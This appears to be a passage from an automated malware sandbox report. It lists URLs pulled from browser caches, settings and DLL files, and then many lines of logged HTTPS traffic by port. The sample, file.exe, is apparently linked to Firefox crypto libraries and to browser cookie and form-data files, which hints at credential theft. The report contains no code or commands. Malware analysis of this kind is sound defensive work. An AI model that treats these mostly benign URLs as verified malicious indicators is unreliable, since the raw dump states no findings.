Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375870228296085.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_474.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: DBAEGCGC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: aad28802-606a-46ac-8796-f6f4e93549f2.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_474.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_474.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_474.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2526195665.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2526195665.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2526195665.00000000003E7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2526195665.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2526195665.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2526195665.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2443262101.0000000023C59000.00000004.00000020.00020000.00000000.sdmp, JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2443262101.0000000023C59000.00000004.00000020.00020000.00000000.sdmp, JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2526195665.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2443262101.0000000023C59000.00000004.00000020.00020000.00000000.sdmp, JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2526195665.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 57141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 57187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 57164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57247
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57248
Source: unknown	Network traffic detected: HTTP traffic on port 57106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57129
Source: unknown	Network traffic detected: HTTP traffic on port 57129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57254
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 57209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 57117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 57255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57259
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57147
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57260
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 57244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 57279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57269
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57149
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57278
Source: unknown	Network traffic detected: HTTP traffic on port 57153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57279
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57151
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57272
Source: unknown	Network traffic detected: HTTP traffic on port 57073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57274
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57275
Source: unknown	Network traffic detected: HTTP traffic on port 57243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 57266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57271
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57159
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57288
